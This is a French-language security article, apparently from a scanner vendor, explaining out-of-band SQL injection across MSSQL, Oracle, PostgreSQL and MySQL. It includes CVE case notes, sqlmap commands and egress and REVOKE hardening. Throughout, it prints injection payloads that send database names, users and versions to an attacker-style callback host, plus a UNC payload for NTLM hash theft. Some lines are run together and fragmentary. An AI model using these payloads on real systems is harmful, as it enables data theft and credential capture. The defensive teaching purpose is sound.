Exfiltre des données via un canal secondaire comme des résolutions DNS ou des callbacks HTTP, utile quand les réponses en bande ne sont pas disponibles.
TL;DR
xp_dirtree est le vecteur OOB le plus fiable — fonctionne avec les privilèges par défautUTL_HTTPREPLACE() pour les caractères spéciauxL'injection SQL hors-bande (OOB) extrait des données via un canal réseau secondaire plutôt que via la réponse HTTP. Au lieu de lire des données depuis le corps de réponse (basée sur UNION, basée sur les erreurs) ou de les inférer depuis le comportement de réponse (booléen à l'aveugle, basée sur le temps), l'attaquant amène le serveur de base de données à initier des connexions réseau sortantes — résolutions DNS, requêtes HTTP ou connexions SMB — vers un serveur de callback contrôlé par l'attaquant. Les données extraites voyagent comme labels de sous-domaines DNS ou chemins de requêtes HTTP.
L'OOB est utilisée dans trois scénarios où les canaux en bande sont épuisés : (1) l'application retourne des réponses identiques pour toutes les requêtes et les techniques basées sur le temps sont peu fiables en raison de la gigue réseau ou du cache ; (2) l'application traite les requêtes de manière asynchrone et la réponse HTTP est retournée avant que l'exécution de la requête soit terminée ; (3) les WAF et les contrôles réseau bloquent les patterns d'injection SQL connus dans les réponses HTTP mais ne filtrent pas le DNS sortant du niveau base de données.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8, CISA KEV février 2026) incluait l'exfiltration OOB via MSSQL xp_dirtree dans la preuve de concept publiée par Synacktiv. L'attaquant envoyait un chemin UNC encodant DB_NAME() comme sous-domaine DNS pour confirmer que l'injection était réelle avant d'escalader vers xp_cmdshell pour une exécution complète de commandes OS. Aucune information d'identification n'était requise pour les deux étapes.
L'injection OOB nécessite une fonction de base de données capable d'initier des connexions réseau sortantes — une capacité qui varie significativement entre les moteurs de base de données et les niveaux de privilèges.
Le flux d'exfiltration DNS : la base de données construit une chaîne contenant les données cibles, ajoute un domaine contrôlé par l'attaquant, et effectue une résolution DNS. La requête DNS voyage depuis l'interface réseau du serveur de base de données vers le serveur DNS de l'attaquant. Le label de sous-domaine est la donnée extraite.
xp_dirtree est une procédure stockée étendue MSSQL non documentée qui liste le contenu des répertoires d'un chemin réseau. Quand on lui donne un chemin UNC (\\hostname\share), MSSQL effectue une résolution DNS pour le composant hostname. Cette requête DNS est observable au niveau du serveur DNS de l'attaquant.
-- Ping DNS basique — confirmer que le canal OOB fonctionne
'; EXEC master..xp_dirtree '\\attacker.interactsh.com\a'--
-- Exfiltration de données — DB_NAME() dans le sous-domaine
'; EXEC master..xp_dirtree '//' + DB_NAME() + '.attacker.interactsh.com/a'--
-- Utilisateur et version dans le sous-domaine
'; EXEC master..xp_dirtree '//' + SYSTEM_USER + '.' + @@version + '.attacker.interactsh.com/a'--
-- Encodage conforme RFC 1035 (gère les espaces, barres obliques, deux-points dans les valeurs)
DECLARE @v NVARCHAR(256);
SELECT @v = DB_NAME();
SELECT @v = REPLACE(@v, ' ', '-');
SELECT @v = REPLACE(@v, '/', '-');
DECLARE @cmd NVARCHAR(4000);
SET @cmd = '\\' + @v + '.attacker.interactsh.com\a';
EXEC master.dbo.xp_dirtree @cmd;Alternative xp_fileexist (moins courante, même niveau de privilège) :
'; EXEC master..xp_fileexist '\\' + DB_NAME() + '.attacker.interactsh.com\test'--xp_dirtree ne nécessite aucun privilège de base de données spécial au-delà du contexte utilisateur par défaut dans MSSQL — il est activé par défaut et fonctionne avec toute session de base de données authentifiée, en faisant le vecteur OOB le plus accessible.
Oracle fournit deux chemins OOB avec des exigences de privilèges différentes.
UTL_HTTP (nécessite EXECUTE sur le package UTL_HTTP) :
-- Callback HTTP avec données dans le chemin URL
' UNION SELECT UTL_HTTP.REQUEST(
'http://attacker.interactsh.com/' || (SELECT user FROM dual)
) FROM dual--
-- DNS via UTL_INADDR (nécessite EXECUTE sur UTL_INADDR)
' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS(
(SELECT user FROM dual) || '.attacker.interactsh.com'
) FROM dual--XMLTYPE OOB (ne nécessite pas UTL_HTTP — fonctionne via la résolution d'entité externe XML) :
' UNION SELECT EXTRACTVALUE(
XMLTYPE('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote
SYSTEM "http://' || (SELECT user FROM dual) || '.attacker.interactsh.com/">
%remote;]>'),
'/l'
) FROM dual--La technique XMLTYPE exploite le moteur de traitement XML d'Oracle pour résoudre une référence d'entité externe. L'URL SYSTEM contient les données cibles comme sous-domaine. Cela contourne l'exigence de privilège UTL_HTTP et est fréquemment ignoré par les configurations de sécurité de base de données qui restreignent les packages réseau standard.
-- Callback HTTP dblink (nécessite l'extension dblink)
'; SELECT dblink_connect(
'host=' || (SELECT current_user) || '.attacker.interactsh.com user=a password=a dbname=a'
)--
-- DNS COPY TO PROGRAM (nécessite le privilège superutilisateur)
'; COPY (SELECT '') TO PROGRAM
'nslookup ' || current_user || '.attacker.interactsh.com'--
'; COPY (SELECT current_database()) TO PROGRAM
'curl http://attacker.interactsh.com/' --La technique COPY TO PROGRAM exécute une commande shell sur l'hôte du serveur PostgreSQL, permettant toute méthode de connexion sortante disponible sur l'OS hôte. Cela nécessite le rôle pg_execute_server_program (superutilisateur dans PostgreSQL < 14).
-- DNS via chemin UNC LOAD_FILE (MySQL Windows uniquement, nécessite le privilège FILE)
' AND LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.attacker.interactsh.com\\a'))-- -
-- Vol de hash NTLM via chemin UNC
' AND LOAD_FILE('\\\\attacker.smb.server\\share')-- -Cette technique est limitée à MySQL fonctionnant sur Windows avec le privilège FILE accordé et secure_file_priv non défini. Elle est rare dans les déploiements modernes mais courante dans les environnements d'hébergement partagé historiques.
BreachVex implémente un registre de tokens unique par point d'injection pour la confirmation OOB :
# Payloads DNS hors-bande spécifiques au SGBD
oob_dns_payloads = {
"mysql": "' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.{subdomain}\\a'))-- -",
"postgresql": "'; COPY (SELECT '') TO PROGRAM 'nslookup {subdomain}'-- -",
"mssql": "'; EXEC master..xp_dirtree '\\\\{subdomain}\\a'-- -",
"oracle": "' UNION SELECT UTL_HTTP.request('http://{subdomain}/') FROM dual-- -",
}
# Flux du token OOB :
# 1. Provisionner un token de callback hors-bande unique par point d'injection
# 2. Intégrer le token dans le payload DNS spécifique au SGBD
# 3. Injecter dans l'endpoint de stockage (store/register/profile)
# 4. Déclencher l'endpoint de récupération (export/admin/search)
# 5. Écouter les callbacks DNS/HTTP entrants
# 6. Faire correspondre le token de callback au point d'injection → CONFIRMÉCette architecture permet la détection OOB de second ordre : le payload est stocké à un endpoint et s'exécute quand un autre endpoint récupère et réutilise la valeur stockée. Les scanners DAST standard ne peuvent pas détecter cela sans configuration de second URL.
CVE-2024-43468 — Microsoft SCCM (CVSS 9.8, CISA KEV février 2026) — Injection SQL pré-authentifiée dans le service MP_Location de Microsoft Configuration Manager. Le PoC public de Synacktiv (publié en novembre 2024) utilisait xp_dirtree OOB pour confirmer l'injection en exfiltrant DB_NAME() comme sous-domaine DNS. La confirmation servait de preuve avant l'escalade vers des requêtes empilées (EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE) pour un accès shell OS complet. Vecteur CVSS : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Les agences fédérales avaient jusqu'au 5 mars 2026 pour corriger.
HackerOne #435066 — Endpoint GraphQL HackerOne — Injection SQL dans le propre endpoint /graphql de HackerOne via le paramètre embedded_submission_form_uuid. Le chercheur a utilisé des callbacks DNS OOB pour confirmer l'injection à l'aveugle et extraire des données des tables de schémas publics et privés, démontrant que les techniques OOB s'appliquent aux endpoints d'API GraphQL — pas seulement aux formulaires web traditionnels.
MOVEit Transfer (CVE-2023-34362, CVSS 9.8, 2023) — Injection SQL zero-day dans MOVEit Transfer de Progress Software. Le groupe de ransomware Cl0p a exploité la vulnérabilité en utilisant une combinaison de techniques SQLi incluant l'exfiltration OOB pour extraire des fichiers depuis les systèmes de transfert de fichiers organisationnels. L'attaque a affecté 80 % des victimes d'entreprises américaines avant la mise à disposition d'un correctif. Les données des employés d'Amazon figuraient parmi les enregistrements vendus par la suite.
Recherche NetSPI sur l'OOB de second ordre (2024) — NetSPI a publié des recherches démontrant la chaîne d'attaque OOB de second ordre complète : stocker un payload avec xp_dirtree dans un champ de plage de dates via /api/report/ ; déclencher l'exécution via /api/report/ExportToExcel ; observer le callback DNS au domaine contrôlé par l'attaquant. La recherche a montré qu'une confirmation WAITFOR DELAY de 20 secondes et l'exfiltration de données basée sur DNS sont réalisables via une injection SQL stockée qui contourne toute validation d'entrée au point d'entrée.
xp_dirtree est activé par défaut sur MSSQL et ne nécessite pas de privilèges de base de données élevés. Les WAF inspectant les paramètres de requêtes HTTP ne peuvent pas voir les requêtes DNS sortantes depuis le niveau serveur de base de données. L'injection OOB contourne simultanément la validation d'entrée et la protection WAF. Les seuls contrôles efficaces sont le filtrage de l'egress réseau au niveau du serveur de base de données et les requêtes paramétrées.
abc123.interactsh.com).'; EXEC master..xp_dirtree '\\abc123.interactsh.com\a'-- dans les paramètres MSSQL.'; SELECT pg_sleep(0); COPY (SELECT '') TO PROGRAM 'nslookup abc123.interactsh.com'-- pour PostgreSQL.' UNION SELECT UTL_HTTP.request('http://abc123.interactsh.com/') FROM dual-- pour Oracle.sqlmap --second-url ou déclencher manuellement les endpoints de récupération après avoir stocké les payloads.# sqlmap OOB avec domaine Interactsh
sqlmap -u "https://target.com/search?q=1" \
--dns-domain=abc123.interactsh.com \
--technique=Q --batch
# OOB spécifique à MSSQL
sqlmap -u "https://target.com/search?q=1" \
--dbms=mssql --technique=Q \
--dns-domain=abc123.interactsh.com --batch
# OOB de second ordre
sqlmap -u "https://target.com/store" \
--data="field=*" \
--second-url="https://target.com/trigger" \
--dns-domain=abc123.interactsh.com \
--technique=Q --batchBreachVex détecte l'injection OOB en utilisant un registre de tokens de callback unique par point d'injection : chaque point d'injection reçoit un token de callback hors-bande unique, le payload DNS spécifique au SGBD est injecté, et les callbacks entrants sont surveillés. Un callback correspondant au token confirme l'injection avec une confiance élevée.
Les requêtes paramétrées empêchent l'injection au niveau de la couche applicative. Le filtrage de l'egress réseau empêche l'exfiltration OOB au niveau de la couche infrastructure, fournissant une défense en profondeur.
Règles d'egress du serveur de base de données (principe du moindre privilège réseau) :
AUTORISER sortant → destination de sauvegarde de base de données
AUTORISER sortant → endpoints de surveillance fiables
REFUSER sortant → port 53 (DNS) [bloquer le DNS OOB]
REFUSER sortant → port 80/443 (HTTP) [bloquer UTL_HTTP, dblink]
REFUSER sortant → port 445 (SMB) [bloquer xp_dirtree UNC/NTLM]
REFUSER tout autre sortant-- MSSQL : désactiver xp_dirtree et procédures associées
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
-- Révoquer l'exécution sur xp_dirtree
REVOKE EXECUTE ON master.dbo.xp_dirtree FROM PUBLIC;
REVOKE EXECUTE ON master.dbo.xp_fileexist FROM PUBLIC;
REVOKE EXECUTE ON master.dbo.xp_cmdshell FROM PUBLIC;-- Oracle : révoquer les droits UTL_HTTP et UTL_INADDR
REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;
REVOKE EXECUTE ON UTL_INADDR FROM PUBLIC;
-- Note : l'OOB XMLTYPE nécessite la restriction Oracle Text — consulter la documentation OracleLe filtrage de l'egress réseau au niveau de la couche base de données est un contrôle à haute valeur qui est fréquemment absent. De nombreuses organisations appliquent des règles WAF aux entrées HTTP mais laissent les serveurs de base de données avec un accès internet sortant illimité. Cela permet l'exfiltration OOB même quand tous les canaux d'injection en bande sont bloqués.
L'injection SQL hors-bande amène le serveur de base de données à initier des connexions réseau sortantes — typiquement des résolutions DNS ou des requêtes HTTP — vers un serveur de callback contrôlé par l'attaquant. Les données extraites sont encodées dans le label de sous-domaine ou le chemin de requête HTTP, contournant entièrement les canaux de réponse en bande.
xp_dirtree est une procédure stockée étendue MSSQL non documentée qui accède aux chemins réseau. Quand on lui donne un chemin UNC pointant vers un domaine contrôlé par l'attaquant (ex. \DB_NAME().attacker.com\a), MSSQL effectue une résolution DNS pour ce domaine, créant un callback DNS observable qui confirme l'injection et exfiltre les données.
UTL_HTTP et UTL_INADDR nécessitent des droits EXECUTE sur ces packages, qui ne sont pas accordés par défaut. Cependant, la technique OOB XMLTYPE via les entités externes XML ne nécessite pas UTL_HTTP et fonctionne sur la plupart des installations Oracle avec Oracle Text activé, en faisant une option plus fiable.
Interactsh est un serveur d'interaction OOB open-source développé par ProjectDiscovery qui capture les callbacks DNS, HTTP et SMTP avec des tokens de sous-domaine uniques. BreachVex provisionne un token de callback hors-bande unique par point d'injection, l'intègre dans le payload OOB, écoute les callbacks DNS/HTTP entrants, et confirme l'injection quand un callback portant le token correspondant est reçu.
CVE-2024-43468 (Microsoft SCCM, CVSS 9.8) a utilisé l'enchaînement OOB xp_dirtree MSSQL dans le cadre de la chaîne d'exploitation RCE pré-authentifiée. Le PoC de Synacktiv utilisait xp_dirtree pour exfiltrer la valeur DB_NAME() via callback DNS comme preuve d'exploitation avant l'escalade vers xp_cmdshell.
RFC 1035 limite les labels DNS à 63 caractères, alphanumériques plus tirets. Les noms de base de données contenant des espaces, des barres obliques ou des caractères spéciaux doivent être transformés avant d'être intégrés dans un sous-domaine DNS. MSSQL REPLACE() supprime les espaces ; SUBSTRING() découpe les valeurs longues en plusieurs requêtes DNS.
Oui. PostgreSQL supporte deux techniques OOB : dblink_connect() pour les callbacks HTTP (nécessite l'extension dblink), et COPY TO PROGRAM avec nslookup ou curl (nécessite le privilège superutilisateur). L'approche dblink fonctionne à des niveaux de privilèges inférieurs mais nécessite que l'extension dblink soit installée.